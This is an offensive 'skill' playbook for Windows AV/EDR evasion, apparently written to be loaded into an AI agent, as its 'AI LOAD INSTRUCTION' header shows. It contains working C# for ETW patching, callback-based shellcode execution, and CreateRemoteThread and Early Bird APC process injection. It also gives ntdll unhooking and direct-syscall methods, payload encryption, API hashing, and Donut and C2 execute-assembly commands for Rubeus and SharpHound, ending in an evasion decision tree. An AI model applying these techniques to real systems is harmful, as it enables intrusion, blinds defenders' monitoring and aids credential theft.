- SKILL: AV/EDR Evasion — Expert Attack Playbook
- AI LOAD INSTRUCTION
- Expert AV/EDR evasion techniques for Windows. Covers AMSI bypass, ETW bypass, .NET assembly loading, shellcode execution, process injection, unhooking, payload encryption, and signature evasion. Base models miss detection-specific bypass chains and syscall-level evasion nuances. 0. RELATED ROUTING Before going deep, consider loading: windows-privilege-escalation when privesc tools are blocked by AV windows-lateral-movement when lateral movement tools trigger EDR active-directory-kerberos-attacks when Rubeus/Mimikatz are detected active-directory-acl-abuse for non-binary AD attacks (less AV-sensitive) Advanced Reference Also load AMSI_BYPASS_TECHNIQUES.md when you need: Detailed AMSI bypass code patterns (memory patching, reflection) PowerShell-specific AMSI bypasses .NET AMSI bypass techniques 1. AMSI BYPASS OVERVIEW AMSI (Antimalware Scan Interface) inspects PowerShell, .NET, VBScript, JScript, and Office macros at runtime. Key AMSI Bypass Categories Category Method Detection Risk Persistence Memory patching Patch AmsiScanBuffer in amsi.dll Medium Per-process Reflection Modify AMSI init flags via .NET reflection Medium Per-session String obfuscation Encode/split AMSI trigger strings Low Per-payload PowerShell downgrade Force PS v2 (no AMSI) Low Per-session CLM bypass Escape Constrained Language Mode Medium Per-session COM hijack Redirect AMSI COM server Low Per-user Quick AMSI Bypass (One-Liners)
PowerShell v2 downgrade (if .NET 2.0 available — no AMSI in v2)
powershell
Version 2
Reflection-based (set amsiInitFailed = true)
Obfuscated to avoid static detection — see AMSI_BYPASS_TECHNIQUES.md for full patterns
- ETW BYPASS ETW (Event Tracing for Windows) feeds telemetry to EDR. Patching EtwEventWrite stops .NET assembly load events. Patch EtwEventWrite // C# — patch EtwEventWrite to return immediately var ntdll = GetModuleHandle ( "ntdll.dll" ) ; var etwAddr = GetProcAddress ( ntdll , "EtwEventWrite" ) ; // Write: ret (0xC3) to first byte VirtualProtect ( etwAddr , 1 , 0x40 , out uint oldProtect ) ; Marshal . WriteByte ( etwAddr , 0xC3 ) ; VirtualProtect ( etwAddr , 1 , oldProtect , out _ ) ; PowerShell ETW Bypass
Disable Script Block Logging (ETW provider)
[Reflection.Assembly] ::LoadWithPartialName ( 'System.Management.Automation' )
Set internal field to disable ETW tracing
- .NET ASSEMBLY LOADING In-Memory Assembly.Load byte [ ] assemblyBytes = File . ReadAllBytes ( "tool.exe" ) ; // Or download from URL, decrypt from resource Assembly assembly = Assembly . Load ( assemblyBytes ) ; assembly . EntryPoint . Invoke ( null , new object [ ] { args } ) ; Donut — Convert .NET Assembly to Shellcode
Generate shellcode from .NET EXE
donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main
With parameters
donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"
Then load shellcode via any injection technique (§5)
execute-assembly (C2 Framework)
Cobalt Strike
execute-assembly /path/to/Rubeus.exe kerberoast
Sliver
execute-assembly /path/to/SharpHound.exe -c all
Havoc
dotnet inline-execute /path/to/tool.exe args 4. SHELLCODE EXECUTION TECHNIQUES VirtualAlloc + Callback (Avoids CreateThread) IntPtr addr = VirtualAlloc ( IntPtr . Zero , ( uint ) sc . Length , 0x3000 , 0x40 ) ; Marshal . Copy ( sc , 0 , addr , sc . Length ) ; // Use callback API instead of CreateThread (less monitored) EnumWindows ( addr , IntPtr . Zero ) ; Callback APIs for shellcode execution : EnumWindows , EnumChildWindows , EnumFonts , EnumDesktops , CertEnumSystemStore , EnumDateFormats — all accept function pointers that can point to shellcode. 5. PROCESS INJECTION TECHNIQUES Technique APIs Used Detection Risk Notes CreateRemoteThread OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread High Classic, heavily monitored NtMapViewOfSection NtCreateSection, NtMapViewOfSection Medium Shared memory, less common Process Hollowing CreateProcess (SUSPENDED), NtUnmapViewOfSection, WriteProcessMemory, ResumeThread Medium Replace process image Thread Hijacking SuspendThread, SetThreadContext, ResumeThread Medium Modify existing thread Early Bird CreateProcess (SUSPENDED), QueueUserAPC, ResumeThread Low-Medium APC before main thread Phantom DLL Hollowing Map DLL section, overwrite with shellcode Low Uses legitimate DLL mapping Module Stomping LoadLibrary, overwrite .text section Low Backed by legitimate DLL Transacted Hollowing NtCreateTransaction, NtCreateSection Low No suspicious allocations CreateRemoteThread (Basic Pattern) IntPtr hProcess = OpenProcess ( 0x001F0FFF , false , targetPid ) ; IntPtr addr = VirtualAllocEx ( hProcess , IntPtr . Zero , ( uint ) sc . Length , 0x3000 , 0x40 ) ; WriteProcessMemory ( hProcess , addr , sc , ( uint ) sc . Length , out _ ) ; CreateRemoteThread ( hProcess , IntPtr . Zero , 0 , addr , IntPtr . Zero , 0 , IntPtr . Zero ) ; Early Bird APC Injection // Create suspended process STARTUPINFO si = new STARTUPINFO ( ) ; PROCESS_INFORMATION pi = new PROCESS_INFORMATION ( ) ; CreateProcess ( null , "C:\Windows\System32\svchost.exe" , .. . , CREATE_SUSPENDED , .. . , ref si , ref pi ) ; // Allocate and write shellcode IntPtr addr = VirtualAllocEx ( pi . hProcess , IntPtr . Zero , ( uint ) sc . Length , 0x3000 , 0x40 ) ; WriteProcessMemory ( pi . hProcess , addr , sc , ( uint ) sc . Length , out _ ) ; // Queue APC to main thread (runs before main entry point) QueueUserAPC ( addr , pi . hThread , IntPtr . Zero ) ; ResumeThread ( pi . hThread ) ; 6. UNHOOKING — BYPASS EDR API HOOKS Direct Syscalls (SysWhispers / HellsGate) EDR hooks ntdll.dll functions. Direct syscalls bypass hooks by invoking the kernel directly. Normal: User code → ntdll.dll (HOOKED) → kernel Direct: User code → syscall instruction → kernel (bypasses hook) Tool Method Notes SysWhispers2/3 Compile-time syscall stubs Static syscall numbers HellsGate Runtime syscall number resolution Dynamic, harder to detect HalosGate Resolve from neighboring unhooked syscalls Handles partial hooks TartarusGate Extended HalosGate More robust resolution Fresh ntdll Copy // Read clean ntdll.dll from disk byte [ ] cleanNtdll = File . ReadAllBytes ( @"C:\Windows\System32\ntdll.dll" ) ; // Or from KnownDlls: \KnownDlls\ntdll.dll // Or from suspended process (create sacrificial process, read its ntdll) // Overwrite hooked .text section with clean copy // → All EDR hooks in ntdll are removed Indirect Syscalls // Instead of: syscall (in your code — suspicious) // Do: jump to syscall instruction inside ntdll.dll (legitimate location) // The ret address on stack points to ntdll.dll, not your code 7. PAYLOAD ENCRYPTION & OBFUSCATION Encryption Methods // AES encryption (preferred) using Aes aes = Aes . Create ( ) ; aes . Key = key ; aes . IV = iv ; byte [ ] encrypted = aes . CreateEncryptor ( ) . TransformFinalBlock ( shellcode , 0 , shellcode . Length ) ; // XOR (simple, fast) for ( int i = 0 ; i < shellcode . Length ; i ++ ) shellcode [ i ] ^= key [ i % key . Length ] ; // RC4 (stream cipher, simple implementation) Sleep Obfuscation Encrypt shellcode in memory during sleep to avoid memory scanners. Technique Method Ekko ROP chain → encrypt heap/stack during sleep Foliage APC-based sleep with memory encryption DeathSleep Thread de-registration during sleep Staged Loading Stage 1: Small, encrypted loader (evades static analysis) Stage 2: Download actual payload at runtime (encrypted) Stage 3: Decrypt in memory → execute 8. SIGNATURE EVASION String Encryption // Avoid plaintext API names, URLs, tool names // Use encrypted strings, decrypt at runtime string decrypted = Decrypt ( encryptedApiName ) ; IntPtr funcPtr = GetProcAddress ( GetModuleHandle ( "kernel32.dll" ) , decrypted ) ; API Hashing // Resolve API by hash instead of name (avoids string detection) // Hash "VirtualAlloc" → 0x91AFCA54 IntPtr func = GetProcAddressByHash ( module , 0x91AFCA54 ) ; Metadata Removal
Strip .NET metadata
ConfuserEx / .NET Reactor / Obfuscar
Remove PE metadata (timestamps, rich header, debug info)
Modify compilation timestamps
Strip PDB paths
C2 Framework Evasion Framework Key Evasion Features Cobalt Strike Malleable C2 profiles, HTTP/S traffic shaping, sleep jitter, PE evasion Sliver Multiple protocols (mTLS, WireGuard, DNS), stager-less, built-in obfuscation Havoc Indirect syscalls, sleep obfuscation, module stomping Brute Ratel Badger agent, syscall evasion, ETW/AMSI bypass built-in 9. AV/EDR EVASION DECISION TREE Need to execute tool/payload on protected host │ ├── PowerShell-based payload? │ ├── AMSI blocking? → AMSI bypass first (§1) │ │ ├── .NET 2.0 available? → PS v2 downgrade (no AMSI) │ │ ├── Memory patch AmsiScanBuffer │ │ └── Reflection-based bypass │ ├── Script Block Logging? → ETW bypass (§2) │ └── Constrained Language Mode? → CLM bypass or switch to C# │ ├── .NET assembly (Rubeus, SharpHound, etc.)? │ ├── Direct execution blocked? │ │ ├── In-memory Assembly.Load (§3) │ │ ├── Convert to shellcode with Donut (§3) │ │ └── Use C2 execute-assembly (§3) │ └── Still detected? │ ├── Obfuscate assembly (ConfuserEx) │ ├── Modify source + recompile │ └── Use BOFs (Beacon Object Files) if CS │ ├── Shellcode execution needed? │ ├── Basic → VirtualAlloc + callback (§4) │ ├── Need injection → choose technique by OPSEC (§5) │ │ ├── Low detection needed → module stomping or phantom DLL │ │ ├── Medium → early bird APC or NtMapViewOfSection │ │ └── Quick and dirty → CreateRemoteThread │ └── Memory scanners detect payload? │ ├── Encrypt payload → decrypt only at execution (§7) │ └── Sleep obfuscation (Ekko/Foliage) (§7) │ ├── EDR hooking ntdll.dll? │ ├── Direct syscalls (SysWhispers3/HellsGate) (§6) │ ├── Fresh ntdll copy from disk/KnownDlls (§6) │ └── Indirect syscalls (return to ntdll instruction) (§6) │ ├── Signature detection? │ ├── Known tool signature → modify + recompile │ ├── String-based → string encryption / API hashing (§8) │ ├── PE metadata → strip/modify (§8) │ └── Behavioral → change execution flow, add junk code │ └── All local evasion fails? ├── Use Living-off-the-Land (LOLBins): certutil, mshta, regsvr32 ├── Use legitimate admin tools (PsExec, WMI, WinRM) └── Switch to fileless / memory-only techniques